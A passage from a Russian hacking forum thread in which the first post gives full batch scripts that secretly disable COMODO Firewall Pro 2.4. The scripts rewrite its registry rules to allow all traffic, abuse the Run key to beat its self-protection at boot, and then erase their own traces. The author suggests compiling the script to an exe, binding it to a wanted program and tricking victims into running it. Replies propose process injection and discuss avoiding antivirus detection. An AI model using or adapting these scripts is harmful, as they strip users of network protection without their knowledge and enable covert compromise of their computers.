Эксперименты «на финте»: обезвреживаем COMODO Firewall Pro 2.4

Discussion in 'Безопасность и Анонимность' started by X-3, 10 May 2009.

  1. X-3

    X-3 Member

    Joined:
    28 Mar 2009
    Messages:
    306
    Likes Received:
    58
    Reputations:
    -2
    Эксперименты «на финте»: обезвреживаем COMODO Firewall Pro 2.4
    Стучал по клавишам и мучал COMODO: X-3
    Вступление:
    Суббота, утро, 9 мая. День победы. Невзирая на обилие отличных фильмов про вторую мировую, руки так и тянутся к компьютеру. Но мозг, сопротивляясь неавторизированным действиям, просит хотя бы повод. «Будем фашистов бить!», - мысленно произношу я, на ходу додумывая, кто у нас сегодня за фашистов будет. Ответ пришел скоро: файерволл.
    Задача:
    Создать bat-файл, результатом выполнения которого будет отключение защиты файерволла при видимой его работе. Bat – потому как, скорее всего, будет работать без дополнительных пинков. Можно скомпилировать в exe-шник, используя BatT oExeConverter, после чего соединить с какой-нибудь «очень нужной программой» и, методом социальной инженерии добиться запуска «жертвой». А если нет возможности скомпилировать в .exe, можно СИ усугубить и добиться того же эффекта (но тогда, наверное, лучше просто вручную файерволл отключить).
    Файерволл:
    COMODO Firewall Pro 2.4.19.185 с последними обновлениями
    Система:
    Windows XP SP2
    1. Теоретическое решение
    Первым делом, нужно знать, где наш файерволл хранит свои настройки. Данная версия (а скорее всего, 2.x.x.x) держит свое добро в реестре: HKEY_LOCAL_MACHINE\SYSTEM\Software\Comodo\Personal Firewall. Именно сетевой монитор свои правила размещает в HKEY_LOCAL_MACHINE\SYSTEM\Software\Comodo\Personal Firewall\NetCtrl\Rules\X , где X – номер правила. Стоит заметить, что в реестре нумерация начинается с «0», а в графической реализации COMODO – с «1». Также занятно, что количество правил сохраняется в параметре «Num», в ветке HKEY_LOCAL_MACHINE\SYSTEM\Software\Comodo\Personal Firewall\NetCtrl\Rules.
    Рассмотрев отображение правил в программе, первое, что приходит в голову, - это добавить новую запись с нужными нам настройками. Позже ее можно будет удалить и никто ничего не узнает. Пользователи, на которых рассчитан данный метод, вряд ли смогут внятно ответить на вопрос: «Где Вы настраиваете правила в файерволле?», поэтому, шансы остаться незамеченными высоки.
    Итого: просто «сдвинем» все правила и добавим новое, например, разрешающее «все и всем».
    2. Практическая реализация
    Для начала попробуем вывести на экран то самое количество правил. Чтение reg query /? и for /? (справка по командам cmd.exe) подсказывает следующее решение:
    Code:
    for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i)
    echo %hmr%
    Все бы хорошо, но результат мы получаем в шестнадцатиричной системе. Не так страшно, если это число не более 9, но мне вот повезло получить в ответ «0xa». И вот мы тратим некоторое время на поиски решения по: а) «обрезке» лишних символов «0x»; б) конвертации результата в десятичное значение. А потом, отхлебывая очередную порцию допинга, вдруг соображаем, что , переведя, значение в арифметическое, можно избавиться от этого геморроя. В результате получаем такой код:
    Code:
    for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i)
    set /A number=hmr
    echo %number%
    Ну что же, теперь пора устроить скачки. Возьмем последнее правило файерволла, скопируем его в следующий номер, далее, уменьшим номер на единицу, и будем повторять до тех пор, пока не скопируем 0-ое правило. Для этих телодвижений потребуется в начале файла добавить команду задействования расширений нашего cmd.exe. Поскольку правила отличаются между собой не только значениями, но и названиями параметров (и даже их количеством), то мы, соблюдая принятую изначально концепцию «чистые руки», будем удалять ветки реестра, которые только что скопировали. Итак, наша программа приобретает следующий вид:
    Code:
    @echo off
    SetLocal EnableExtensions EnableDelayedExpansion
    for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i)
    set /A number=hmr-1
    set /A shift=hmr
    for /L %%i in (%number%,-1,0) do (
    reg copy "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%%i" "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\!shift!" /s /f
    reg delete "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%%i" /f
    set /A shift=!shift!-1
    )
    Почти оседлав коня на скаку, мы получаем серьезный облом (и знающие люди наверняка ждали этого момента) : COMODO, оказывается, защищает свои ветки реестра от записи! Но не можем же мы прекратить эксперимент. Поэтому, пока просто отключим файерволл, воспользовавшись иконкой в трее, и продолжим.
    Увеличиваем количество правил в файерволле на единицу, добавленную нами при сдвиге:
    Code:
     set /A newhmr=hmr+1
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num /t reg_dword /d %newhmr% /f 
    Устанавливаем в нулевом правиле полное разрешение:
    Code:
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Days /t reg_dword /d 127
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StartHour /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StartMinute /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StopHour /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StopMinute /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Protocol /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Action /t reg_dword /d 00000001
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Direction /t reg_dword /d 00000003
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v IPProto /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrType /t reg_dword /d 8
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrStart /t reg_sz /d "0.0.0.0"
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrEnd /t reg_sz /d "255.255.255.255"
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrType /t reg_dword /d 8
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrStart /t reg_sz /d "0.0.0.0"
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrEnd /t reg_sz /d "255.255.255.255" 
    Получается, что мы имеем аккуратно добавленное всеразрешающее правило, но вот беда – мы все еще не имеем возможности воспользоваться этим кодом из-за модуля самозащиты.
    Потратив некоторое время на поиск возможностей отключить cmdagent, понимаем, что нужно какое-то другое решение, зайти, так сказать, с другой стороны. Попробуем наш старинный метод: «на Авось!». Защита включается при загрузке, попробуем и мы действовать при загрузке. Вставляем код программы в файл с неприметным названием cpfmode.bat и помещаем в папку с Comodo, после чего запускаем включение этого файла в перечень тех, что запускаются при старте системы:
    reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Firewall Pro Shield" /t reg_sz /d "\"C:\Program Files\Comodo\Firewall\cpfmode.bat"" /f
    Перегружаем систему, затаиваем дыхание… И не верим своим глазам, финт ушами сработал! Большая часть кода выполнилась, пока самозащита COMODO не обрела силу. Большая, но не вся. Да, я понимаю, что продвинулись мы не до конца, но уже ого-го! Нам всего-навсего нужно ускорить действие программы. Заметим, что задержка запуска CPF.exe не влияет на ситуацию, cmdagent.exe делает свое черное дело самостоятельно.
    Конец дня. И нам нужна победа. «Одна на всех, мы за ценой не постоим…»
    Бравый герой фильма «Гитлер капут» вдохновляет действовать лихо, а товарищ Летнаб из «Диверсанта» - не задумываясь о последствиях, «прямо и грубо, наикратчайшим путем».
    Действуем!
    Есть замечательное правило у COMODO: запретить все подключения с любых хостов, а результаты этих бесчинств срочно записать в бортовой журнал. Классное правило, так как оно указывается в концк всего списка, и, если разрешений не обнаружено, то запрос в конце концов, будет блокирован, что защищает пользователя от возможных посягательств. А вдвойне это правило замечательное потому, что нас интересует всего два пункта в этом правиле: ЗАПРЕТИТЬ и ЗАПИСАТЬ_В_ЖУРНАЛ. Меняем только их и получаем искомый результат: файерволл пропускает все. Есть риск, что пользователь, зайдя в сетевой монитор, заметит «позеленевшее» правило, которое раньше запрещало все и отображалось красным цветом. Но, «кто не рискует…» вместе с «синицей, что хороша в руке…» мотивируют на завершение начатого хоть и далеко не идеальным, но рабочим вариантом. На всякий случай предусмотрим вариант подчистки следов за собой.
    Код:
    Code:
    @echo off
    
    for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i)
    set /A number=hmr-1
    echo @echo off > "c:\program files\comodo\firewall\cpfmode.bat"
    echo reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%number%" /v Action /t reg_dword /d 00000001 /f >> "c:\program files\comodo\firewall\cpfmode.bat"
    echo reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%number%" /v Protocol /t reg_dword /d 00000000 /f >> "c:\program files\comodo\firewall\cpfmode.bat"
    echo reg delete "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Firewall Pro Shield"  /f >> "c:\program files\comodo\firewall\cpfmode.bat"
    reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Firewall Pro Shield" /t reg_sz /d "\"C:\Program Files\Comodo\Firewall\cpfmode.bat"" /f 
    Как видим, данная программа создает bat-файл в папке COMODO, после чего прописывает его в автозагрузку. Итоговый скрипт совсем мал и без проблем обходит «на финте» самозащиту COMODO, а после внесения долгожданных изменений в правила, удаляет себя из автозагрузки.
    Цена компромиссного решения:
    - паливность при первом перезапуске системы (окошко cmd.exe все же вылетает с информированием о результативности)
    - с номером правила можем ошибиться, если пользователь до перезагрузки тыкался в COMODO
    - можем не обогнать COMODO (чем черт не шутит!)
    Возможные усовершенствования:
    1) Если пользователь настроил диапазон сети, например, - локалки, - на полный (либо частичный) доступ, изменение веток реестра, начиная с
    HKEY_LOCAL_MACHINE \System\SOFTWARE\Comodo\Personal Firewall\AppCtrl\Zones поможет решить задачу «обезвреживания» файерволла немного другим путем.
    2) Во избежание ситуаций, когда система находится не на диске C: или COMODO установлен в нестандартную папку, можно использовать параметр %SystemRoot% и получить из реестра данные по COMODO: HKEY_LOCAL_MACHINE\SOFTWARE\ComodoGroup\CDI\1\InstallProductPath.
    3) Работа не только с сетевым монитором, но и с Монитором приложений и компонентов.
    4) Вызвать загрузку системы в безопасном режиме и поглядеть, сработает ли режим самозащиты COMODO или нет.
    Выводы:
    1) Иногда стоит сделать ставку на скорость и лихость, особенно, если они дают результат.
    2) Смотрите наши замечательные фильмы про войну, они вдохновляют.
    Полный код первоначального скрипта (для тех, кто знает способ обойти модуль самозащиты):
    Code:
    @echo off
    SetLocal EnableExtensions EnableDelayedExpansion
    for /f "tokens=3" %%i in ('reg query "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num') do (set hmr=%%i)
    set /A number=hmr-1
    set /A shift=hmr
    for /L %%i in (%number%,-1,0) do (
    reg copy "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%%i" "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\!shift!" /s /f
    reg delete "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\%%i" /f
    set /A shift=!shift!-1
    )
    set /A newhmr=hmr+1
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules" /v Num /t reg_dword /d %newhmr% /f
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Days /t reg_dword /d 127
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StartHour /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StartMinute /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StopHour /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v StopMinute /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Protocol /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Action /t reg_dword /d 00000001
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v Direction /t reg_dword /d 00000003
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0" /v IPProto /t reg_dword /d 00000000
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrType /t reg_dword /d 8
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrStart /t reg_sz /d "0.0.0.0"
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\RemoteIP" /v AddrEnd /t reg_sz /d "255.255.255.255"
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrType /t reg_dword /d 8
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrStart /t reg_sz /d "0.0.0.0"
    reg add "hklm\System\SOFTWARE\Comodo\Personal Firewall\NetCtrl\Rules\0\SourceIP" /v AddrEnd /t reg_sz /d "255.255.255.255" 
    ============================================
    P.S. Если кто-то додумался до этого раньше меня, просто киньте ссылку.
    P.P.S. Если есть простое «лекарство» для модуля самозащиты COMODO – постите сюда или в личку.
    P.P.S. Критика, дополнения, исправления и т. д. приветствуются.
     
    1 person likes this.
  2. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    вы блядь еще обход эмулятора в антивирусе Касперского 5 версии опишите или обход аутпост 2.* ...
     
  3. X-3

    X-3 Member

    Joined:
    28 Mar 2009
    Messages:
    306
    Likes Received:
    58
    Reputations:
    -2
    1) Данная версия поддерживается обновлениями
    2) Она имеет рускоязычный интерфес и предлагается сайтами с программным обеспечением для загрузки "Русской версии COMODO"
    3) Используется знакомыми мне пользователями

    К тому же, данный текст будет полезен тем, кто будет работать с реестром, используя .bat.

    P.S. Если нет цензурных слов, лучше не высказываться в принципе. Если совсем невтерпеж - пиши в личку.
     
  4. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    я понимаю что ты проделал работу, тебе хочется похвалы и признания за проделанный труд, но пойми тут люди такие методы использовали в 98 году еще, и сейчас они не актуальны ибо время батников прошло, если бы была расскрыта бага в современном софтваре, пускай даже в батнике, ее можно было бы юзать. важные ветки реестра протектятся даже самыми непопуларными антивирусами и фаерволами. то что эта версия пкомодо поддерживается ниочем не говорит, ибо украинский антивирус Zilya тоже поддерживается.. Важна актуальность бажной программы/скрипта, количество юзеров ее юзающее. Ты говориш ты и друзья юзают, смысл юзать то, что не защищает? эта проактивка даже от понча не защитит старенького .. может вы в силу своего незнания английского юзаете этот раритет, так лучше скачайте аутпост 2009 с ключиками на варезнике - русский, и спите спокойней.
    [​IMG]
     
  5. Hellsp@wn

    Hellsp@wn Elder - Старейшина

    Joined:
    29 Apr 2007
    Messages:
    400
    Likes Received:
    153
    Reputations:
    48
    2.4 обходиться на много проще :) если стартануть ещё один CPF.exe и красиво в него заинжектиться, то можно будет почти всё :)
     
  6. SpangeBoB

    SpangeBoB Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    1,680
    Likes Received:
    393
    Reputations:
    102
    Еще один случай жалкой подделки и дополнительной дыре,вместо использования стандартного фаерволла.

    Да и вообще кто разрешил пользователям писать в HKLM?
    И антивируса у пользователя нет,раз Bat to Exe используется?

    PS. Пользователь должен откопать подделку Comodo ,да еще и щелкать просто на все что есть бездумно.
     
  7. X-3

    X-3 Member

    Joined:
    28 Mar 2009
    Messages:
    306
    Likes Received:
    58
    Reputations:
    -2
    Спасибо за комментарии.

    LEE_ROY
    Твое второе сообщение гораздо информативнее ;) Давай тогда прийдем к общему мнению относительно того, какие файерволлы считаются современными и популярными. Что скажешь на счет: Outpost Firewall Pro 2009, ZoneAlarm 8, Comodo Firewall + AntiVirus 3.8?

    Hellsp@wn
    Второй CPF.exe стартануть и "красиво в него заинжектиться", ИМХО, потребует больше телодвижений.

    SpangeBoB
    Многие пользователи сидят под админом в винде (часть и в юниксе по рутом).
    Какой антивирус палит Bat to Exe? Там особых команд нет, чтобы палиться. По крайней мере, Avast не жужжал.
    Bat to Exe, кстати, также склеивает файлы, хоть и слегка не элегантно. Avast, опять же, молчит.